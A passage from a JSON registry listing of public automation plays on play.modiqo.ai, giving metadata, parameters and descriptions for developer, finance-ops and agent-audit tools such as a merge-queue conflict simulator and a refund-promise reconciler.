motion.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","developer-tools","automation","productivity","quality"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.16.26","published_at":"2026-09-06T13:42:07.18125+00:00","visibility":"public","quality_score":1,"size_bytes":513770,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":6,"names":["step_3_deep_code_inspection","step_1_bootstrap_environment","step_6_emit_developer_report","step_2_parallel_fanout_execution","step_5_synthesize_metrics_and_health","step_4_validate_integrity_constraints"]},"parameters":[{"name":"target_path","type":"string","required":false,"default":".","description":"Path to inspect or execute against"},{"name":"dry_run","type":"boolean","required":false,"default":false,"description":"Run in dry-run mode without modifying filesystem"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:187f17d396065409d4e927f81d335cc1168fea047f414633d00faf838fbfbc41","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":5,"fan_out":1,"for_each_steps":1,"complexity":6,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/lambda-deploy-auditor@4.16.26","reference":"ankurrawat/lambda-deploy-auditor@4.16.26","uri":"https://play.modiqo.ai/ankurrawat/lambda-deploy-auditor@4.16.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/lambda-deploy-auditor@4.16.26","name":"lambda-deploy-auditor","title":"lambda-deploy-auditor","description":"Your serverless cloud bill is creeping up and cold starts are spiking. This audits your AWS Lambda function configurations, optimizes memory allocation curves for cost-performance sweet spots, detects overly permissive IAM policies, and benchmarks cold start durations.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","developer-tools","automation","productivity","quality"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.16.26","published_at":"2026-09-06T13:42:04.50396+00:00","visibility":"public","quality_score":1,"size_bytes":513840,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":6,"names":["step_3_deep_code_inspection","step_1_bootstrap_environment","step_6_emit_developer_report","step_2_parallel_fanout_execution","step_5_synthesize_metrics_and_health","step_4_validate_integrity_constraints"]},"parameters":[{"name":"target_path","type":"string","required":false,"default":".","description":"Path to inspect or execute against"},{"name":"dry_run","type":"boolean","required":false,"default":false,"description":"Run in dry-run mode without modifying filesystem"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7ff52a560c6a24da2eeb4db337b6a25bb0df149c760b15e644c5901a9ad99efb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":5,"fan_out":1,"for_each_steps":1,"complexity":6,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/git-pre-commit-hook-installer@4.16.26","reference":"ankurrawat/git-pre-commit-hook-installer@4.16.26","uri":"https://play.modiqo.ai/ankurrawat/git-pre-commit-hook-installer@4.16.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/git-pre-commit-hook-installer@4.16.26","name":"git-pre-commit-hook-installer","title":"git-pre-commit-hook-installer","description":"Nobody wants to manually configure husky, lint-staged, and secret scanners across 10 repositories. This inspects your repository language, installs an airtight Git pre-commit barrier in one click, and blocks accidental AWS or Stripe secret commits before they ever hit GitHub.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","developer-tools","automation","productivity","quality"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.16.26","published_at":"2026-09-06T13:42:01.744212+00:00","visibility":"public","quality_score":1,"size_bytes":513803,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":6,"names":["step_3_deep_code_inspection","step_1_bootstrap_environment","step_6_emit_developer_report","step_2_parallel_fanout_execution","step_5_synthesize_metrics_and_health","step_4_validate_integrity_constraints"]},"parameters":[{"name":"target_path","type":"string","required":false,"default":".","description":"Path to inspect or execute against"},{"name":"dry_run","type":"boolean","required":false,"default":false,"description":"Run in dry-run mode without modifying filesystem"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:697dc05ef3bb8092bbe3ae37f9f22f4c15e87625988d3f864a127ad074ccce66","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":5,"fan_out":1,"for_each_steps":1,"complexity":6,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/bundle-diet-guru@4.16.26","reference":"ankurrawat/bundle-diet-guru@4.16.26","uri":"https://play.modiqo.ai/ankurrawat/bundle-diet-guru@4.16.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/bundle-diet-guru@4.16.26","name":"bundle-diet-guru","title":"bundle-diet-guru","description":"Your client bundle is ballooning and you have no idea which dependency is responsible. This audits your package.json against Bundlephobia, spots duplicate tree-shaking leaks, flags heavy transitive dependencies, and recommends lightweight drop-in alternatives.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","developer-tools","automation","productivity","quality"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.16.26","published_at":"2026-09-06T13:41:56.314478+00:00","visibility":"public","quality_score":1,"size_bytes":513692,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":6,"names":["step_3_deep_code_inspection","step_1_bootstrap_environment","step_6_emit_developer_report","step_2_parallel_fanout_execution","step_5_synthesize_metrics_and_health","step_4_validate_integrity_constraints"]},"parameters":[{"name":"target_path","type":"string","required":false,"default":".","description":"Path to inspect or execute against"},{"name":"dry_run","type":"boolean","required":false,"default":false,"description":"Run in dry-run mode without modifying filesystem"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:356e64df7fefc5fd0c0cd5142a078d357e167abb273298b50f4075c66b7b0b88","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":5,"fan_out":1,"for_each_steps":1,"complexity":6,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/jaylabs/write-provenance@0.7.0","reference":"jaylabs/write-provenance@0.7.0","uri":"https://play.modiqo.ai/jaylabs/write-provenance@0.7.0","manifest_uri":"https://play.modiqo.ai/jaylabs/write-provenance@0.7.0","name":"write-provenance","title":"write-provenance","description":"A team running coding agents cannot say which instruction caused which write. On the machine this was built on, a live week held 9237 writes and 5197 traced to another agent session rather than a person. Twelve steps fan out per project and walk each transcript back past injected reminders, to the nearest thing somebody said. Each write then reaches its commit, its pull request and its Linear ticket. A broken chain is reported as unknown, not guessed, and it counts every population it walked. It does not measure what its own shell rule missed. Your transcripts, repositories and tickets are only ever read from; it writes thirteen files and posts a digest only when you give it a webhook.","owner":{"kind":"org","slug":"jaylabs"},"registry_organization":"jaylabs","tags":["write-provenance","prompt-provenance","agent-accountability","change-ledger","session-audit","claude-code","codex","transcript-analysis","authority-resolution","incident-retro","change-review","mcp","git","github","pull-requests","linear","tickets","drift","daily-audit","gmail","webhook","slack","discord","notification","digest","domain-agent-ops","job-write-provenance","audience-eng-leads-and-platform-teams","audience-engineering-leads","effect-write"],"primary_domain":"domain-agent-ops","author":"jayanth","version":"0.7.0","published_at":"2026-09-06T13:13:35.409082+00:00","visibility":"public","quality_score":1,"size_bytes":145310,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":12,"names":["drift","report","preflight","pull_github","pull_linear","merge_traces","probe_git_join","classify_writes","discover_projects","load_codex_traces","resolve_authority","load_claude_traces"]},"parameters":[{"name":"mode","type":"string","required":false,"default":"demo","description":"Set demo for the bundled sample transcripts, with no network call and no credential. Set live to read the Claude Code and Codex transcripts already on this machine. Both are local; live opens your own sessions read-only and never copies anything out of them beyond the masked excerpts it writes into its own workspace.","values":["demo","live"],"example":"demo"},{"name":"harness","type":"string","required":false,"default":"both","description":"Which coding agent's transcripts to read. Claude Code records a parent pointer on every turn, so its chain is walked; Codex records only append order, which is a weaker link and every Codex row says so. A harness you leave out reports zero because it was not read, and the population table says which.","values":["claude","codex","both"],"example":"both"},{"name":"window_days","type":"string","required":false,"default":"7","description":"How far back to look, in days. Clamped to 1..30, and a value that is not a plain integer silently uses the default. A demo run reads the whole bundled sample set whatever you set, because the samples carry their own fixed dates and a moving window would make the demo counts depend on the day.","example":"7"},{"name":"project_path","type":"string","required":false,"default":"all","description":"Which project to read, as an absolute path, or all for every project the harness has recorded. One project is the honest scope for a team retro; all is what you want when the question is what an agent did anywhere on this machine.","example":"all"},{"name":"authority_distance_threshold","type":"string","required":false,"default":"6","description":"How many of the agent's own turns may sit between an instruction and a write before the write is called self-initiated. Six is the ninetieth percentile run of agent turns between two human turns in the sessions this was measured on. Raise it on long autonomous runs, lower it when you want every unprompted write surfaced.","example":"6"},{"name":"stop_phrases","type":"string","required":false,"default":"stop,wait,don't,do not,hold off,cancel that","description":"Comma separated phrases that mean somebody asked the agent to stop. Matched as speech only, so a phrase inside a code block, an inline snippet or an injected reminder never counts. Empty uses the default list.","example":"stop,wait,hold off"},{"name":"include_subagents","type":"string","required":false,"default":"true","description":"Whether transcripts written by spawned subagents count. On by default, because a subagent's write lands on the same disk as its parent's and leaving it out makes a busy week look quiet. Turn it off to see only what the top-level session did itself.","values":["true","false"],"example":"true"},{"name":"repos","type":"string","required":false,"default":"","description":"Comma separated repository paths for the git history join, which matches commits carrying an agent co-author trailer back to the session that made them. Empty skips the join and says so. A repository whose commits carry no such trailer reports zero joined rather than reading as a repository with no agent commits.","example":"~/code/acme-api,~/code/acme-web"},{"name":"strict_live","type":"string","required":false,"default":"","description":"Names the legs that must read live rather than fall back to bundled data. Either github or linear, comma separated. Leave it empty and a leg whose adapter is missing or whose credential is refused falls back and says so on every line; name it and the run stops instead, which is what you want when the report is going to somebody who will read live as live.","example":"github,linear"},{"name":"state_dir","type":"string","required":false,"default":"","description":"Where to keep this run's ledger so the next run can say what changed. Empty is the default and skips the comparison entirely, because a play that quietly starts writing history into somebody's home directory is not one to install. Point it at a directory and every run after the first opens with what moved since the one before it, which is what makes this worth running daily.","example":"~/.write-provenance-state"},{"name":"samples_dir","type":"string","required":false,"default":"","description":"Where the demo data lives. Empty means the sample transcripts bundled inside this play. Anything else is a directory in the run workspace, or an absolute path, holding claude and codex subdirectories of its own.","example":"my-samples"},{"name":"webhook_url","type":"string","required":false,"default":"","description":"A Slack or Discord incoming webhook to post the digest to. Empty is the default and nothing leaves the machine, which is what a first run should do. Give it one and the same body that lands in digest.md is POSTed there once per run, with the HTTP status recorded in the ledger. The URL itself is a credential, so only its host and last four characters are ever written to a file.","example":"https://hooks.slack.com/services/T000/B000/xxxx"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ba5f56d8897beae3fd4e396b0d6aaf3df1c7f3b6e47ec082aa5109dd16cb18bc","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":12,"kinds":{"api":0,"shell":12,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":8,"width":2,"fan_out":4,"for_each_steps":1,"complexity":12,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":12}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/jaylabs/refund-promise-gap@0.7.0","reference":"jaylabs/refund-promise-gap@0.7.0","uri":"https://play.modiqo.ai/jaylabs/refund-promise-gap@0.7.0","manifest_uri":"https://play.modiqo.ai/jaylabs/refund-promise-gap@0.7.0","name":"refund-promise-gap","title":"refund-promise-gap","description":"Support promised a refund and finance cannot say whether the money ever left. On the machine this was built on, the bundled demo finds nine cases in twelve emails, eight refunds and ten bank lines, with no credential. Twelve steps pull Gmail promises, Stripe refunds, credit notes, disputes and Plaid debits, run one process per customer, re-read each refund from Stripe and name what changed. It calls an unreadable amount indeterminate instead of passing it, counts every population read, and skips only nationwide holidays in the settlement window. A refund agreed by phone is invisible. Your mailbox, Stripe and bank are only ever read from; it writes twelve files and posts a digest only when you give it a webhook.","owner":{"kind":"org","slug":"jaylabs"},"registry_organization":"jaylabs","tags":["refund","refunds","credit-note","credit-notes","stripe","stripe-refunds","plaid","bank-reconciliation","gmail","customer-support","support-ops","finance-ops","double-refund","refund-tracking","refund-promise","broken-promise","customer-communication","domain-finance-ops","job-refund-promise-verification","audience-founders-and-finance","disputes","chargeback","business-days","bank-holidays","drift","weekly-audit","webhook","slack","discord","notification","digest","effect-write"],"primary_domain":"domain-finance-ops","author":"jayanth","version":"0.7.0","published_at":"2026-09-06T13:13:24.757258+00:00","visibility":"public","quality_score":1,"size_bytes":156885,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":12,"names":["join","drift","digest","report","preflight","pull_bank","pull_refunds","pull_disputes","pull_promises","merge_findings","group_customers","pull_credit_notes"]},"parameters":[{"name":"mode","type":"string","required":false,"default":"demo","description":"Set demo for the bundled sample data, with no network call and no credential. Set live to read your own mailbox through the installed rote gmail adapter, your own Stripe account through the rote stripe adapter or directly over HTTPS with a bearer token when that adapter holds no key, and your bank through Plaid. All five legs can now go live, and each one that cannot falls back to sample data and says so on its own line rather than under a live heading.","values":["demo","live"],"example":"demo"},{"name":"lookback_days","type":"string","required":false,"default":"90","description":"How far back to read promises and refunds, in days. Clamped to 1..365, and a value that is not a plain integer silently uses the default. The bundled sample data carries its own fixed window of the 2026 calendar, so a demo run reproduces whatever you set.","example":"90"},{"name":"promise_window_days","type":"string","required":false,"default":"3","description":"How soon after a promise email a Stripe refund has to appear before the promise counts as unkept. Clamped to 0..90. A refund created the day before the email still counts, because an agent issues the refund and then writes to say so.","example":"3"},{"name":"settle_window_days","type":"string","required":false,"default":"7","description":"How many days a succeeded Stripe refund has to reach the bank before it is reported as unsettled. Clamped to 0..90. Card networks are slower than processors, so a short window turns ordinary banking delay into a page of findings.","example":"7"},{"name":"amount_tolerance_cents","type":"string","required":false,"default":"50","description":"How far two amounts may differ in minor units and still be the same money. Clamped to 0..100000. Fifty covers a rounding difference on a card settlement; it deliberately does not cover a partial refund, which is reported as indeterminate instead of matched.","example":"50"},{"name":"currency","type":"string","required":false,"default":"INR","description":"The currency to assume when an email names an amount with no symbol or code beside it. Amounts that do name their own currency always keep it, and two amounts are never compared across currencies. A code this play does not know the minor unit of is refused rather than assumed to have two decimal places.","example":"INR"},{"name":"report","type":"string","required":false,"default":"findings","description":"Choose findings for the cases that need a decision. Choose all to add the promises that completed the journey and the refunds nobody promised in writing, which is what you want when somebody asks you to prove the quiet weeks were quiet.","values":["findings","all"],"example":"findings"},{"name":"strict_live","type":"string","required":false,"default":"false","description":"Which legs must really be live, or nothing runs. Set false to let any leg fall back to labelled sample data, true to demand all five, or a list naming legs or systems, such as gmail, stripe, plaid, or promises,refunds,bank. Naming stripe covers refunds, credit notes and disputes together. A leg that cannot go live stops the run in preflight, before anything is read, rather than printing sample numbers under a live heading.","example":"stripe"},{"name":"gmail_query","type":"string","required":false,"default":"","description":"The Gmail search that finds promise emails. Empty uses a built-in query pairing the word refund with the phrases a support desk uses to promise one. Substitute your own wording; a personal mailbox returns nothing for the built-in query and that is the correct answer.","example":"refund (\"we have refunded\" OR \"refund has been initiated\")"},{"name":"support_aliases","type":"string","required":false,"default":"","description":"Comma separated addresses your support desk sends from. Empty means the authenticated account's own sent mail. An entry that is not an email address is refused by name rather than read as a filter that matches nothing.","example":"support@acme.com,billing@acme.com"},{"name":"samples_dir","type":"string","required":false,"default":"","description":"Where the demo data lives. Empty means the sample set bundled inside this play. Anything else is a directory in the run workspace, or an absolute path, holding this play's own sample files.","example":"my-samples"},{"name":"max_messages","type":"string","required":false,"default":"200","description":"How many mailbox messages a live promises leg reads in one run, paged a hundred at a time. Clamped to 1..2000. A run that stops at the cap while Gmail still had another page says so on its own line, because no promise found on the pages I read is a different sentence from no promise found.","example":"200"},{"name":"country","type":"string","required":false,"default":"IN","description":"Whose bank calendar decides which days the settle window counts. A refund created on a Friday and debited on the Monday is one business day old, not three, so weekends and that country's nationwide bank holidays are not counted against a refund. State and regional holidays are read and reported but not applied, because a holiday in one state does not close the whole settlement system.","values":["IN","US","GB"],"example":"IN"},{"name":"state_dir","type":"string","required":false,"default":"","description":"A directory this play may keep its own past findings in, so the next run can say what is new, what was resolved and what is unchanged. Empty means this run has no memory and the report says so instead of implying nothing changed. Nothing in that directory is ever deleted or pruned.","example":"refund-state"},{"name":"webhook_url","type":"string","required":false,"default":"","description":"A Slack or Discord incoming webhook the digest is posted to. Empty is the default and means the digest is written to the workspace and sent nowhere, which the run records rather than leaving blank. Exactly one message is posted per run, its HTTP status is kept whatever it was, and the URL itself is reported as its scheme, host and last four characters only, because that URL is the credential.","example":"https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXX"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3b364e44c041beca4f38ba653a70f265d6c85fc2b64784a267a14c61516e37be","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":12,"kinds":{"api":0,"shell":12,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":8,"width":5,"fan_out":4,"for_each_steps":1,"complexity":12,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":12}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/satianurag/merge-queue-oracle@0.1.1","reference":"satianurag/merge-queue-oracle@0.1.1","uri":"https://play.modiqo.ai/satianurag/merge-queue-oracle@0.1.1","manifest_uri":"https://play.modiqo.ai/satianurag/merge-queue-oracle@0.1.1","name":"merge-queue-oracle","title":"merge-queue-oracle","description":"Every merge-safety tool asks whether your branch is clean against main. A queue of pull requests that are each individually green can still hold a pair that destroys the other the moment the first one lands, and nothing tells you until main is broken. This runs a real three-way merge between every pair of open heads, then simulates the whole queue landing in order, entirely in memory: no checkout, no fetch, no credentials, no CI minutes. It separates a STALE head (already conflicts with the base) from a HOSTILE pair (both green alone, fatal together), because confusing the two blames the wrong pull request: on expressjs/express a single stale head manufactured seven false hostile pairs out of twenty-eight. It also reports coordination surfaces that two cleanly-merging heads still share (migrations, lockfiles, dependency manifests, generated schemas, CI config, Terraform) and the sharpest of them, the ordinal collision: two branches adding migrations/0002_add_users.sql and migrations/0002_add_orders.sql share no path at all, so git merges them perfectly cleanly and every filename-overlap tool reports green, while production gets two migrations claiming one ordinal. It does not claim to detect semantic conflicts; that is an open research problem, and these rows are prompts for human judgement, not verdicts. Ends in one screen: a grade, a punch list, and a landing order that is byte-identical across runs. Reads your repository with plain git and never touches HEAD, the index, the working tree or your refs, proven by hashing before and after on six production repositories. It does write unreachable objects into .git/objects, which is how merge-tree returns a result at all; that is declared rather than hidden, and git gc --prune=now reverses it. macOS and Linux, git >= 2.38, fully offline. Try demo=true.","owner":{"kind":"user","slug":"satianurag"},"registry_organization":"satianurag","tags":["git","merge-queue","pull-requests","merge-conflict","migrations","local-first","zero-credentials","deterministic","ci-gate"],"primary_domain":"domain-uncategorized","author":"Satianurag","version":"0.1.1","published_at":"2026-09-06T11:36:39.635207+00:00","visibility":"public","quality_score":1,"size_bytes":39339,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":8,"names":["order","changed","verdict","discover","pairwise","surfaces","base_check","cumulative"]},"parameters":[{"name":"repo","type":"string","required":false,"default":".","description":"Path to the git repository to inspect. Defaults to the current directory. Ignored when demo=true.","example":"~/work/api"},{"name":"base","type":"string","required":false,"default":"auto","description":"The integration base every head is tested against. 'auto' walks origin/HEAD, main, master, origin/main, origin/master and reports which it used. Pass an explicit ref when your trunk is named something else.","example":"origin/develop"},{"name":"candidates","type":"string","required":false,"default":"auto","description":"Comma-separated refs to treat as the queue. 'auto' prefers fetched pull-request heads under refs/remotes/pr, then falls back to local branches, and always prints which source it used. For real pull requests, fetch their heads into refs/remotes/pr first; the play prints the exact git fetch refspec when it finds none.","example":"pr/101,pr/102,feat/checkout"},{"name":"max_candidates","type":"integer","required":false,"default":"12","description":"Cap on heads compared (2-40). Pairwise cost grows as n squared: 12 heads is 66 merges, 40 heads is 780. The cap is reported when it truncates, never applied silently.","example":"12"},{"name":"demo","type":"boolean","required":false,"default":"false","description":"Build a throwaway repository in the system temp directory whose branches reproduce both findings this play exists for: one hostile pair, and one ordinal collision that git merges perfectly cleanly. Lets a stranger see real output with no repository of their own. Rebuilt from scratch on every run; touches nothing else.","example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7c25a9db3e4f822c4a2a192eaef166b8c924642a2023e4a4381b028f072c7ea1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":6,"width":2,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/aryan/rent_negotiation_brief@1.7.0","reference":"aryan/rent_negotiation_brief@1.7.0","uri":"https://play.modiqo.ai/aryan/rent_negotiation_brief@1.7.0","manifest_uri":"https://play.modiqo.ai/aryan/rent_negotiation_brief@1.7.0","name":"rent_negotiation_brief","title":"rent_negotiation_brief","description":"Generate rent negotiation brief for Indian rental property with comparable listings, market rent analysis, rent law summary, and draft email to landlord","owner":{"kind":"user","slug":"aryan"},"registry_organization":"aryan","tags":["typescript","exa-search","rent-negotiation","legal-research"],"primary_domain":"domain-uncategorized","author":"Archanadevi2010gmailcom","version":"1.7.0","published_at":"2026-09-06T08:06:20.652762+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5614,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":4,"names":["auth_exa_search","fetch_rent_laws","get_market_rent","search_comparables"]},"parameters":[{"name":"property_address","type":"string","required":true,"description":"Full rental property address (street, city, state, ZIP)"},{"name":"current_monthly_rent","type":"number","required":true,"description":"Current monthly rent amount in INR"},{"name":"exa_search_api_key","type":"string","required":true,"description":"Exa Search API key for web search"}],"execution":{"adapters":[{"id":"aryan/exa-search","name":"exa-search","version":null,"credential_status":"required"},{"id":"exa-search","name":"exa-search","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8e31d259838dd76e2ea08dee4f2a184e71761c8922c796782bddd0ebc0fbdf76","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":3,"shell":0,"browser":0,"auth":1,"other":0},"distinct_kinds":1,"depth":2,"width":3,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[{"adapter":"exa-search","steps":4,"methods":["search"],"display_name":"exa-search","host":"api.exa.ai","kind":"rest","tools":7,"fingerprint":"mcp_psdrrfUj7faB6gNCvZT5FqLagVM","source":"aryan/exa-search","version":"1.4.0","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":7},"cost":{"api_tokens":98749,"context_tokens":11179,"exploration_ms":48339,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/userreyyan/cp-workspace-generator@1.4.0","reference":"userreyyan/cp-workspace-generator@1.4.0","uri":"https://play.modiqo.ai/userreyyan/cp-workspace-generator@1.4.0","manifest_uri":"https://play.modiqo.ai/userreyyan/cp-workspace-generator@1.4.0","name":"cp-workspace-generator","title":"cp-workspace-generator","description":"One-click competitive programming starter that generates language-specific boilerplate, input, expected output, and testcase files for Codeforces and AtCoder.","owner":{"kind":"user","slug":"userreyyan"},"registry_organization":"userreyyan","tags":[],"primary_domain":"domain-uncategorized","author":"Mohammad Reyyan Ahmed","version":"1.4.0","published_at":"2026-09-06T05:58:48.982101+00:00","visibility":"public","quality_score":1,"size_bytes":4239,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":6,"names":["sh","pwd","sh_2","sh_3","mkdir","touch"]},"parameters":[{"name":"problem","type":"string","required":false,"default":"A","description":"Problem name or identifier for the generated workspace."},{"name":"language","type":"string","required":false,"default":"java","description":"Programming language: Python, C++, or Java."},{"name":"platform","type":"string","required":false,"default":"codeforces","description":"Contest platform: Codeforces or AtCoder."},{"name":"input","type":"string","required":false,"default":"1\\n2\\n3","description":"Sample input for the generated testcase."},{"name":"expected","type":"string","required":false,"default":"6","description":"Expected output for the generated testcase."},{"name":"out_dir","type":"string","required":true,"description":"Absolute directory where the generated cp-starter workspace should be created, for example /home/user/contest."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d1b154968d050cdeca6e010c58d0c500924cfb0b7ae9f31c6f74b720b40c2c24","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":6,"width":1,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"sh","kind":"tool","source":"declared","count":5},{"name":"C++","kind":"tool","source":"inferred","count":1},{"name":"cpp","kind":"tool","source":"inferred","count":1},{"name":"java","kind":"tool","source":"inferred","count":1},{"name":"pwd","kind":"tool","source":"declared","count":1},{"name":"python","kind":"tool","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/rajdeepkushwaha/still-true@0.2.4","reference":"rajdeepkushwaha/still-true@0.2.4","uri":"https://play.modiqo.ai/rajdeepkushwaha/still-true@0.2.4","manifest_uri":"https://play.modiqo.ai/rajdeepkushwaha/still-true@0.2.4","name":"still-true","title":"still-true","description":"Your last coding session left you notes. \"Use the existing payment provider.\" \"The retry test passed.\" \"The integration test still needs running.\" This tells you which of those still match your code. When a note is saved it remembers the exact contents of the files it was about, and checks them again every time you read it back. If one of those files changed since, the note is marked as no longer backed up by the code -- not wrong, just not proven any more, and it never says wrong. If the agent named no files at all, it says so plainly: that one is only the agent's word. If the file is gone, it says that too. If the agent had unsaved edits when it wrote the note, it warns you, because the saved version the note points at was never the version the agent was talking about, and checking the saved version alone would tell you everything is fine. A note written on another branch is kept separate, because a result on one branch is not a fact about another. When two agents write about the same file it shows you both and does not pick a side. Run it with no settings at all to see a small example project. It only reads your files. It writes a note only when you give it one and add apply=true, only into a folder called .agent-notes in your project, and it only ever adds -- it never edits or deletes a note. Before it reads anything of yours it builds a small project of its own, runs its own test cases through the same code, and shows you the result; if any fail it shows you that instead. Needs python3 and git. No network, no accounts, no 